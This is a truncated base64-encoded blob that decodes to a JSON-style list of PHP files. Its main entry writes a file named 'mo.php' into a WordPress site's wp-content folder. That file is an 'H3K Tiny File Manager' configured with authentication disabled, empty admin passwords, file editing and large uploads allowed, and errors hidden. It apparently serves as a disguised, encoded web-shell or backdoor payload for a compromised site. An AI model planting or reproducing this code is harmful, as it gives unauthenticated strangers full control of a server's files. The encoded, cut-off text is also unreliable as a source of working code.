D0gJ0ludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG9yIGZvbGRlciBuYW1lJztcbiAgICAgICAgJHRyWydlbiddWydPcGVyYXRpb25zIHdpdGggYXJjaGl2ZXMgYXJlIG5vdCBhdmFpbGFibGUnXSAgICAgPSAnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIG9yIGZvbGRlciB3aXRoIHRoaXMgcGF0aCBhbHJlYWR5IGV4aXN0cyddICAgPSAnRmlsZSBvciBmb2xkZXIgd2l0aCB0aGlzIHBhdGggYWxyZWFkeSBleGlzdHMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyZSB5b3Ugc3VyZSB3YW50IHRvIHJlbmFtZT8nXSAgICAgICAgICAgICAgICAgICA9ICdBcmUgeW91IHN1cmUgd2FudCB0byByZW5hbWU/JztcbiAgICAgICAgJHRyWydlbiddWydBcmUgeW91IHN1cmUgd2FudCB0byddICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnQXJlIHlvdSBzdXJlIHdhbnQgdG8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RhdGUgTW9kaWZpZWQnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICdEYXRlIE1vZGlmaWVkJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIHNpemUnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnRmlsZSBzaXplJztcbiAgICAgICAgJHRyWydlbiddWydNSU1FLXR5cGUnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnTUlNRS10eXBlJztcblxuICAgICAgICAkaTE4biA9IGZtX2dldF90cmFuc2xhdGlvbnMoJHRyKTtcbiAgICAgICAgJHRyID0gJGkxOG4gPyAkaTE4biA6ICR0cjtcblxuICAgICAgICBpZiAoIXN0cmxlbigkbGFuZykpICRsYW5nID0gJ2VuJztcbiAgICAgICAgaWYgKGlzc2V0KCR0clskbGFuZ11bJHR4dF0pKSByZXR1cm4gZm1fZW5jKCR0clskbGFuZ11bJHR4dF0pO1xuICAgICAgICBlbHNlIGlmIChpc3NldCgkdHJbJ2VuJ11bJHR4dF0pKSByZXR1cm4gZm1fZW5jKCR0clsnZW4nXVskdHh0XSk7XG4gICAgICAgIGVsc2UgcmV0dXJuIFwiJHR4dFwiO1xuICAgIH1cblxuPz4ifSx7InBhdGgiOiJcL2hvbWVcL2xham1peHhcL2FwcHNcL2xham1peHhcL3dwLWNvbnRlbnRcL21vLnBocCIsImNvbnRlbnQiOiI8P3BocFxuJENPTkZJRyA9ICd7XCJsYW5nXCI6XCJlblwiLFwiZXJyb3JfcmVwb3J0aW5nXCI6ZmFsc2UsXCJzaG93X2hpZGRlblwiOnRydWUsXCJoaWRlX0NvbHNcIjpmYWxzZSxcInRoZW1lXCI6XCJkYXJrXCJ9JztcblxuXC8qKlxuICogSDNLIH4gVGlueSBGaWxlIE1hbmFnZXIgVjIuNlxuICogQGF1dGhvciBDQ1AgUHJvZ3JhbW1lcnNcbiAqIEBnaXRodWIgaHR0cHM6XC9cL2dpdGh1Yi5jb21cL3ByYXNhdGhtYW5pXC90aW55ZmlsZW1hbmFnZXJcbiAqIEBsaW5rIGh0dHBzOlwvXC90aW55ZmlsZW1hbmFnZXIuZ2l0aHViLmlvXG4gKlwvXG5cbmRlZmluZSgnVkVSU0lPTicsICcyLjYnKTtcblxuZGVmaW5lKCdBUFBfVElUTEUnLCAnVGlueSBGaWxlIE1hbmFnZXInKTtcblxuJHVzZV9hdXRoID0gZmFsc2U7XG5cbiRhdXRoX3VzZXJzID0gYXJyYXkoXG4gICAgJ2FkbWluJyA9PiAnJyxcbiAgICAndXNlcicgPT4gJydcbik7XG5cbiRyZWFkb25seV91c2VycyA9IGFycmF5KFxuICAgICd1c2VyJ1xuKTtcblxuJGdsb2JhbF9yZWFkb25seSA9IGZhbHNlO1xuXG4kZGlyZWN0b3JpZXNfdXNlcnMgPSBhcnJheSgpO1xuXG4kdXNlX2hpZ2hsaWdodGpzID0gdHJ1ZTtcbiRoaWdobGlnaHRqc19zdHlsZSA9ICd2cyc7XG4kZWRpdF9maWxlcyA9IHRydWU7XG4kZGVmYXVsdF90aW1lem9uZSA9ICdFdGNcL1VUQyc7XG5cblxuJHJvb3RfcGF0aCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107XG4kcm9vdF91cmwgPSAnJztcbiRodHRwX2hvc3QgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107XG4kaWNvbnZfaW5wdXRfZW5jb2RpbmcgPSAnVVRGLTgnO1xuJGRhdGV0aW1lX2Zvcm1hdCA9ICdtXC9kXC9ZIGc6aSBBJztcbiRwYXRoX2Rpc3BsYXlfbW9kZSA9ICdmdWxsJztcbiRhbGxvd2VkX2ZpbGVfZXh0ZW5zaW9ucyA9ICcnO1xuJGFsbG93ZWRfdXBsb2FkX2V4dGVuc2lvbnMgPSAnJztcbiRmYXZpY29uX3BhdGggPSAnJztcbiRleGNsdWRlX2l0ZW1zID0gYXJyYXkoKTtcbiRvbmxpbmVfdmlld2VyID0gJ2dvb2dsZSc7XG4kc3RpY2t5X25hdmJhciA9IHRydWU7XG4kbWF4X3VwbG9hZF9zaXplX2J5dGVzID0gNTAwMDAwMDAwMDtcbiR1cGxvYWRfY2h1bmtfc2l6ZV9ieXRlcyA9IDIwMDAwMDA7XG4kaXBfcnVsZXNldCA9ICdPRkYnO1xuJGlwX3NpbGVudCA9IHRydWU7XG4kaXBfd2hpdGVsaXN0ID0gYXJyYXkoXG4gICAgJzEyNy4wLjAuMScsXG4gICAgJzo6MSdcbik7XG5cbiRpcF9ibGFja2xpc3QgPSBhcnJheShcbiAgICAnMC4wLjAuMCcsXG4gICAgJzo6J1xuKTtcblxuJGNvbmZpZ19maWxlID0gX19ESVJfXyAuICdcL2NvbmZpZy5waHAnO1xuaWYgKGlzX3JlYWRhYmxlKCRjb25maWdfZmlsZSkpIHtcbiAgICBAaW5jbHVkZSgkY29uZmlnX2ZpbGUpO1xufVxuXG4kZXh0ZXJuYWwgPSBhcnJheShcbiAgICAnY3NzLWJvb3RzdHJhcCcgPT4gJzxsaW5rIGhyZWY9XCJodHRwczpcL1wvY2RuLmpzZGVsaXZyLm5ldFwvbnBtXC9ib290c3RyYXBANS4zLjNcL2Rpc3RcL2Nzc1wvYm9vdHN0cmFwLm1pbi5jc3NcIiByZWw9XCJzdHlsZXNoZWV0XCIgaW50ZWdyaXR5PVwic2hhMzg0LVFXVEtaeWpwUEVqSVN2NVdhUlU5T0ZlUnBvazZZY3RuWW1EcjVwTmx5VDJiUmpYaDBKTWhqWTZoVytBTEV3SUhcIiBjcm9zc29yaWdpbj1cImFub255bW91c1wiPicsXG4gICAgJ2Nzcy1kcm9wem9uZScgPT4gJzxsaW5rIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cL2FqYXhcL2xpYnNcL2Ryb3B6b25lXC81LjkuM1wvbWluXC9kcm9wem9uZS5taW4uY3NzXCIgcmVsPVwic3R5bGVzaGVldFwiPicsXG4gICAgJ2Nzcy1mb250LWF3ZXNvbWUnID0+ICc8bGluayByZWw9XCJzdHlsZXNoZWV0XCIgaHJlZj1cImh0dHBzOlwvXC9jZG5qcy5jbG91ZGZsYXJlLmNvbVwvYWpheFwvbGlic1wvZm9udC1hd2Vzb21lXC80LjcuMFwvY3NzXC9mb250LWF3ZXNvbWUubWluLmNzc1wiIGNyb3Nzb3JpZ2luPVwiYW5vbnltb3VzXCI+JyxcbiAgICAnY3NzLWhpZ2hsaWdodGpzJyA9PiAnPGxpbmsgcmVsPVwic3R5bGVzaGVldFwiIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cL2FqYXhcL2xpYnNcL2hpZ2hsaWdodC5qc1wvMTEuOS4wXC9zdHlsZXNcLycgLiAkaGlnaGxpZ2h0anNfc3R5bGUgLiAnLm1pbi5jc3NcIj4nLFxuICAgICdqcy1hY2UnID0+ICc8c2NyaXB0IHNyYz1cImh0dHBzOlwvXC9jZG5qcy5jbG91ZGZsYXJlLmNvbVwvYWpheFwvbGlic1wvYWNlXC8xLjMyLjJcL2FjZS5qc1wiPjxcL3NjcmlwdD4nLFxuICAgICdqcy1ib290c3RyYXAnID0+ICc8c2NyaXB0IHNyYz1cImh0dHBzOlwvXC9jZG4uanNkZWxpdnIubmV0XC9ucG1cL2Jvb3RzdHJhcEA1LjMuM1wvZGlzdFwvanNcL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzXCIgaW50ZWdyaXR5PVwic2hhMzg0LVl2cGNyWWYwdFkzbEhCNjBOTmttWGM1czlmRFZaTEVTYUFBNTVORHpPeGh5OUdrY0lkc2xLMWVON042akllSHpcIiBjcm9zc29yaWdpbj1cImFub255bW91c1wiPjxcL3NjcmlwdD4nLFxuICAgICdqcy1kcm9wem9uZScgPT4gJzxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2NkbmpzLmNsb3VkZmxhcmUuY29tXC9hamF4XC9saWJzXC9kcm9wem9uZVwvNS45LjNcL21pblwvZHJvcHpvbmUubWluLmpzXCI+PFwvc2NyaXB0PicsXG4gICAgJ2pzLWpxdWVyeScgPT4gJzxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2NvZGUuanF1ZXJ5LmNvbVwvanF1ZXJ5LTMuNi4xLm1pbi5qc1wiIGludGVncml0eT1cInNoYTI1Ni1vODhBd1FuWkIrVkR2RTl0dklYck1RYVBsRkZTVVRSK25sZFFtMUx1UFhRPVwiIGNyb3Nzb3JpZ2luPVwiYW5vbnltb3VzXCI+PFwvc2NyaXB0PicsXG4gICAgJ2pzLWpxdWVyeS1kYXRhdGFibGVzJyA9PiAnPHNjcmlwdCBzcmM9XCJodHRwczpcL1wvY2RuLmRhdGF0YWJsZXMubmV0XC8xLjEzLjFcL2pzXC9qcXVlcnkuZGF0YVRhYmxlcy5taW4uanNcIiBjcm9zc29yaWdpbj1cImFub255bW91c1wiIGRlZmVyPjxcL3NjcmlwdD4nLFxuICAgICdqcy1oaWdobGlnaHRqcycgPT4gJzxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2NkbmpzLmNsb3VkZmxhcmUuY29tXC9hamF4XC9saWJzXC9oaWdobGlnaHQuanNcLzExLjkuMFwvaGlnaGxpZ2h0Lm1pbi5qc1wiPjxcL3NjcmlwdD4nLFxuICAgICdwcmUtanNkZWxpdnInID0+ICc8bGluayByZWw9XCJwcmVjb25uZWN0XCIgaHJlZj1cImh0dHBzOlwvXC9jZG4uanNkZWxpdnIubmV0XCIgY3Jvc3NvcmlnaW5cLz48bGluayByZWw9XCJkbnMtcHJlZmV0Y2hcIiBocmVmPVwiaHR0cHM6XC9cL2Nkbi5qc2RlbGl2ci5uZXRcIlwvPicsXG4gICAgJ3ByZS1jbG91ZGZsYXJlJyA9PiAnPGxpbmsgcmVsPVwicHJlY29ubmVjdFwiIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cIiBjcm9zc29yaWdpblwvPjxsaW5rIHJlbD1cImRucy1wcmVmZXRjaFwiIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cIlwvPidcbik7XG5cblxuZGVmaW5lKCdNQVhfVVBMT0FEX1NJWkUnLCAkbWF4X3VwbG9hZF9zaXplX2J5dGVzKTtcbmRlZmluZSgnVVBMT0FEX0NIVU5LX1NJWkUnLCAkdXBsb2FkX2NodW5rX3NpemVfYnl0ZXMpO1xuaWYgKCFkZWZpbmVkKCdGTV9TRVNTSU9OX0lEJykpIHtcbiAgICBkZWZpbmUoJ0ZNX1NFU1NJT05fSUQnLCAnZmlsZW1hbmFnZXInKTtcbn1cbiRjZmcgPSBuZXcgRk1fQ29uZmlnKCk7XG4kbGFuZyA9IGlzc2V0KCRjZmctPmRhdGFbJ2xhbmcnXSkgPyAkY2ZnLT5kYXRhWydsYW5nJ10gOiAnZW4nO1xuXG4kc2hvd19oaWRkZW5fZmlsZXMgPSBpc3NldCgkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddKSA/ICRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gOiB0cnVlO1xuJHJlcG9ydF9lcnJvcnMgPSBpc3NldCgkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSkgPyAkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSA6IHRydWU7XG4kaGlkZV9Db2xzID0gaXNzZXQoJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10pID8gJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gOiB0cnVlO1xuJHRoZW1lID0gaXNzZXQoJGNmZy0+ZGF0YVsndGhlbWUnXSkgPyAkY2ZnLT5kYXRhWyd0aGVtZSddIDogJ2xpZ2h0JztcblxuZGVmaW5lKCdGTV9USEVNRScsICR0aGVtZSk7XG5cbiRsYW5nX2xpc3QgPSBhcnJheShcbiAgICAnZW4nID0+ICdFbmdsaXNoJ1xuKTtcblxuaWYgKCRyZXBvcnRfZXJyb3JzID09IGZhbHNlKSB7XG4gICAgQGluaV9zZXQoJ2Vycm9yX3JlcG9ydGluZycsIDApO1xuICAgIEBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApO1xufSBlbHNlIHtcbiAgICBAaW5pX3NldCgnZXJyb3JfcmVwb3J0aW5nJywgMCk7XG4gICAgQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7XG59XG5cbmlmIChkZWZpbmVkKCdGTV9FTUJFRCcpKSB7XG4gICAgJHVzZV9hdXRoID0gZmFsc2U7XG4gICAgJHN0aWNreV9uYXZiYXIgPSBmYWxzZTtcbn0gZWxzZSB7XG4gICAgQHNldF90aW1lX2xpbWl0KDYwMCk7XG5cbiAgICBkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCRkZWZhdWx0X3RpbWV6b25lKTtcblxuICAgIGluaV9zZXQoJ2RlZmF1bHRfY2hhcnNldCcsICdVVEYtOCcpO1xuICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjYuMCcsICc8JykgJiYgZnVuY3Rpb25fZXhpc3RzKCdtYl9pbnRlcm5hbF9lbmNvZGluZycpKSB7XG4gICAgICAgIG1iX2ludGVybmFsX2VuY29kaW5nKCdVVEYtOCcpO1xuICAgIH1cbiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdtYl9yZWdleF9lbmNvZGluZycpKSB7XG4gICAgICAgIG1iX3JlZ2V4X2VuY29kaW5nKCdVVEYtOCcpO1xuICAgIH1cblxuICAgIHNlc3Npb25fY2FjaGVfbGltaXRlcignbm9jYWNoZScpO1xuICAgIHNlc3Npb25fbmFtZShGTV9TRVNTSU9OX0lEKTtcbiAgICBmdW5jdGlvbiBzZXNzaW9uX2Vycm9yX2hhbmRsaW5nX2Z1bmN0aW9uKCRjb2RlLCAkbXNnLCAkZmlsZSwgJGxpbmUpXG4gICAge1xuICAgICAgICBpZiAoJGNvZGUgPT0gMikge1xuICAgICAgICAgICAgc2Vzc2lvbl9hYm9ydCgpO1xuICAgICAgICAgICAgc2Vzc2lvbl9pZChzZXNzaW9uX2NyZWF0ZV9pZCgpKTtcbiAgICAgICAgICAgIEBzZXNzaW9uX3N0YXJ0KCk7XG4gICAgICAgIH1cbiAgICB9XG4gICAgc2V0X2Vycm9yX2hhbmRsZXIoJ3Nlc3Npb25fZXJyb3JfaGFuZGxpbmdfZnVuY3Rpb24nKTtcbiAgICBzZXNzaW9uX3N0YXJ0KCk7XG4gICAgcmVzdG9yZV9lcnJvcl9oYW5kbGVyKCk7XG59XG5cbmlmIChlbXB0eSgkX1NFU1NJT05bJ3Rva2VuJ10pKSB7XG4gICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncmFuZG9tX2J5dGVzJykpIHtcbiAgICAgICAgJF9TRVNTSU9OWyd0b2tlbiddID0gYmluMmhleChyYW5kb21fYnl0ZXMoMzIpKTtcbiAgICB9IGVsc2Uge1xuICAgICAgICAkX1NFU1NJT05bJ3Rva2VuJ10gPSBiaW4yaGV4KG9wZW5zc2xfcmFuZG9tX3BzZXVkb19ieXRlcygzMikpO1xuICAgIH1cbn1cblxuaWYgKGVtcHR5KCRhdXRoX3VzZXJzKSkge1xuICAgICR1c2VfYXV0aCA9IGZhbHNlO1xufVxuXG4kaXNfaHR0cHMgPSBpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgKHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBTJ10pID09ICdvbicgfHwgJF9TRVJWRVJbJ0hUVFBTJ10gPT0gMSlcbiAgICB8fCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddKSAmJiAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddID09ICdodHRwcyc7XG5cbmlmIChpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSAmJiAhZW1wdHkoJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSkge1xuICAgICR3ZCA9IGZtX2NsZWFuX3BhdGgoZGlybmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSkpO1xuICAgICRyb290X3VybCA9ICAkcm9vdF91cmwgLiAkd2QgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dO1xufVxuJHJvb3RfdXJsID0gZm1fY2xlYW5fcGF0aCgkcm9vdF91cmwpO1xuXG5kZWZpbmVkKCdGTV9ST09UX1VSTCcpIHx8IGRlZmluZSgnRk1fUk9PVF9VUkwnLCAoJGlzX2h0dHBzID8gJ2h0dHBzJyA6ICdodHRwJykgLiAnOlwvXC8nIC4gJGh0dHBfaG9zdCAuICghZW1wdHkoJHJvb3RfdXJsKSA/ICdcLycgLiAkcm9vdF91cmwgOiAnJykpO1xuZGVmaW5lZCgnRk1fU0VMRl9VUkwnKSB8fCBkZWZpbmUoJ0ZNX1NFTEZfVVJMJywgKCRpc19odHRwcyA/ICdodHRwcycgOiAnaHR0cCcpIC4gJzpcL1wvJyAuICRodHRwX2hvc3QgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSk7XG5cbmlmIChpc3NldCgkX0dFVFsnbG9nb3V0J10pKSB7XG4gICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSk7XG4gICAgdW5zZXQoJF9TRVNTSU9OWyd0b2tlbiddKTtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCk7XG59XG5cbmlmICgkaXBfcnVsZXNldCAhPSAnT0ZGJykge1xuICAgIGZ1bmN0aW9uIGdldENsaWVudElQKClcbiAgICB7XG4gICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKCdIVFRQX0NGX0NPTk5FQ1RJTkdfSVAnLCAkX1NFUlZFUikpIHtcbiAgICAgICAgICAgIHJldHVybiAgJF9TRVJWRVJbXCJIVFRQX0NGX0NPTk5FQ1RJTkdfSVBcIl07XG4gICAgICAgIH0gZWxzZSBpZiAoYXJyYXlfa2V5X2V4aXN0cygnSFRUUF9YX0ZPUldBUkRFRF9GT1InLCAkX1NFUlZFUikpIHtcbiAgICAgICAgICAgIHJldHVybiAgJF9TRVJWRVJbXCJIVFRQX1hfRk9SV0FSREVEX0ZPUlwiXTtcbiAgICAgICAgfSBlbHNlIGlmIChhcnJheV9rZXlfZXhpc3RzKCdSRU1PVEVfQUREUicsICRfU0VSVkVSKSkge1xuICAgICAgICAgICAgcmV0dXJuICRfU0VSVkVSWydSRU1PVEVfQUREUiddO1xuICAgICAgICB9IGVsc2UgaWYgKGFycmF5X2tleV9leGlzdHMoJ0hUVFBfQ0xJRU5UX0lQJywgJF9TRVJWRVIpKSB7XG4gICAgICAgICAgICByZXR1cm4gJF9TRVJWRVJbJ0hUVFBfQ0xJRU5UX0lQJ107XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICcnO1xuICAgIH1cblxuICAgICRjbGllbnRJcCA9IGdldENsaWVudElQKCk7XG4gICAgJHByb2NlZWQgPSBmYWxzZTtcbiAgICAkd2hpdGVsaXN0ZWQgPSBpbl9hcnJheSgkY2xpZW50SXAsICRpcF93aGl0ZWxpc3QpO1xuICAgICRibGFja2xpc3RlZCA9IGluX2FycmF5KCRjbGllbnRJcCwgJGlwX2JsYWNrbGlzdCk7XG5cbiAgICBpZiAoJGlwX3J1bGVzZXQgPT0gJ0FORCcpIHtcbiAgICAgICAgaWYgKCR3aGl0ZWxpc3RlZCA9PSB0cnVlICYmICRibGFja2xpc3RlZCA9PSBmYWxzZSkge1xuICAgICAgICAgICAgJHByb2NlZWQgPSB0cnVlO1xuICAgICAgICB9XG4gICAgfSBlbHNlXG4gICAgaWYgKCRpcF9ydWxlc2V0ID09ICdPUicpIHtcbiAgICAgICAgaWYgKCR3aGl0ZWxpc3RlZCA9PSB0cnVlIHx8ICRibGFja2xpc3RlZCA9PSBmYWxzZSkge1xuICAgICAgICAgICAgJHByb2NlZWQgPSB0cnVlO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgaWYgKCRwcm9jZWVkID09IGZhbHNlKSB7XG4gICAgICAgIHRyaWdnZXJfZXJyb3IoJ1VzZXIgY29ubmVjdGlvbiBkZW5pZWQgZnJvbTogJyAuICRjbGllbnRJcCwgRV9VU0VSX1dBUk5JTkcpO1xuXG4gICAgICAgIGlmICgkaXBfc2lsZW50ID09IGZhbHNlKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnQWNjZXNzIGRlbmllZC4gSVAgcmVzdHJpY3Rpb24gYXBwbGljYWJsZScpLCAnZXJyb3InKTtcbiAgICAgICAgICAgIGZtX3Nob3dfaGVhZGVyX2xvZ2luKCk7XG4gICAgICAgICAgICBmbV9zaG93X21lc3NhZ2UoKTtcbiAgICAgICAgfVxuICAgICAgICBleGl0KCk7XG4gICAgfVxufVxuXG5pZiAoJHVzZV9hdXRoKSB7XG4gICAgaWYgKGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10sICRhdXRoX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSkge1xuICAgIH0gZWxzZWlmIChpc3NldCgkX1BPU1RbJ2ZtX3VzciddLCAkX1BPU1RbJ2ZtX3B3ZCddLCAkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIHNsZWVwKDEpO1xuICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwYXNzd29yZF92ZXJpZnknKSkge1xuICAgICAgICAgICAgaWYgKGlzc2V0KCRhdXRoX3VzZXJzWyRfUE9TVFsnZm1fdXNyJ11dKSAmJiBpc3NldCgkX1BPU1RbJ2ZtX3B3ZCddKSAmJiBwYXNzd29yZF92ZXJpZnkoJF9QT1NUWydmbV9wd2QnXSwgJGF1dGhfdXNlcnNbJF9QT1NUWydmbV91c3InXV0pICYmIHZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgICAgICAgICAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddID0gJF9QT1NUWydmbV91c3InXTtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnWW91IGFyZSBsb2dnZWQgaW4nKSk7XG4gICAgICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwpO1xuICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKTtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJyksICdlcnJvcicpO1xuICAgICAgICAgICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nKSwgJ2Vycm9yJyk7O1xuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSk7XG4gICAgICAgIGZtX3Nob3dfaGVhZGVyX2xvZ2luKCk7XG4/PlxuICAgICAgICA8c2VjdGlvbiBjbGFzcz1cImgtMTAwXCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29udGFpbmVyIGgtMTAwXCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cInJvdyBqdXN0aWZ5LWNvbnRlbnQtbWQtY2VudGVyIGFsaWduLWNvbnRlbnQtY2VudGVyIGgtMTAwdmhcIj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtd3JhcHBlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQgZmF0XCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cImZvcm0tc2lnbmluXCIgYWN0aW9uPVwiXCIgbWV0aG9kPVwicG9zdFwiIGF1dG9jb21wbGV0ZT1cIm9mZlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1iLTNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYnJhbmRcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHN2ZyB2ZXJzaW9uPVwiMS4wXCIgeG1sbnM9XCJodHRwOlwvXC93d3cudzMub3JnXC8yMDAwXC9zdmdcIiBNMTAwOCB3aWR0aD1cIjEwMCVcIiBoZWlnaHQ9XCI4MHB4XCIgdmlld0JveD1cIjAgMCAyMzguMDAwMDAwIDE0MC4wMDAwMDBcIiBhcmlhLWxhYmVsPVwiSDNLIFRpbnkgRmlsZSBNYW5hZ2VyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZyB0cmFuc2Zvcm09XCJ0cmFuc2xhdGUoMC4wMDAwMDAsMTQwLjAwMDAwMCkgc2NhbGUoMC4xMDAwMDAsLTAuMTAwMDAwKVwiIGZpbGw9XCIjMDAwMDAwXCIgc3Ryb2tlPVwibm9uZVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwYXRoIGQ9XCJNMTYwIDcwMCBsMCAtNjAwIDExMCAwIDExMCAwIDAgMjYwIDAgMjYwIDcwIDAgNzAgMCAwIC0yNjAgMCAtMjYwIDExMCAwIDExMCAwIDAgNjAwIDAgNjAwIC0xMTAgMCAtMTEwIDAgMCAtMjYwIDAgLTI2MCAtNzAgMCAtNzAgMCAwIDI2MCAwIDI2MCAtMTEwIDAgLTExMCAwIDAgLTYwMHpcIiBcLz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cGF0aCBmaWxsPVwiIzAwMzUwMFwiIGQ9XCJNMTAwOCAxMjI3IGwtMTA4IC03MiAwIC0xMTcgMCAtMTE4IDExMCAwIDExMCAwIDAgMTEwIDAgMTEwIDcwIDAgNzAgMCAwIC0xODAgMCAtMTgwIC0xMjUgMCBjLTY5IDAgLTEyNSAtMyAtMTI1IC02IDAgLTMgMjMgLTM5IDUyIC04MCBsNTIgLTc0IDczIDAgNzMgMCAwIC0xODUgMCAtMTg1IC03MCAwIC03MCAwIDAgMTE1IDAgMTE1IC0xMTAgMCAtMTEwIDAgMCAtMTkwIDAgLTE5MCAxODEgMCAxODEgMCAxMDkgNzMgMTA4IDcyIDEgMTgxIDAgMTgxIC02OSA0OCAtNjggNDkgNjggNTAgNjkgNDkgMCAyNDkgMCAyNDggLTE4MiAtMSAtMTgzIDAgLTEwNyAtNzJ6XCIgXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHBhdGggZD1cIk0xNjQwIDcwMCBsMCAtNjAwIDExMCAwIDExMCAwIDAgMjA4IDAgMjA4IDM1IDM0IDM1IDM0IDM1IC0zNCAzNSAtMzQgMCAtMjA4IDAgLTIwOCAxMTAgMCAxMTAgMCAwIDIxMiAwIDIxMyAtODcgODcgLTg4IDg4IDg4IDg4IDg3IDg3IDAgMjEzIDAgMjEyIC0xMTAgMCAtMTEwIDAgMCAtMjA4IDAgLTIwOCAtNzAgLTY5IC03MCAtNjkgMCAyNzcgMCA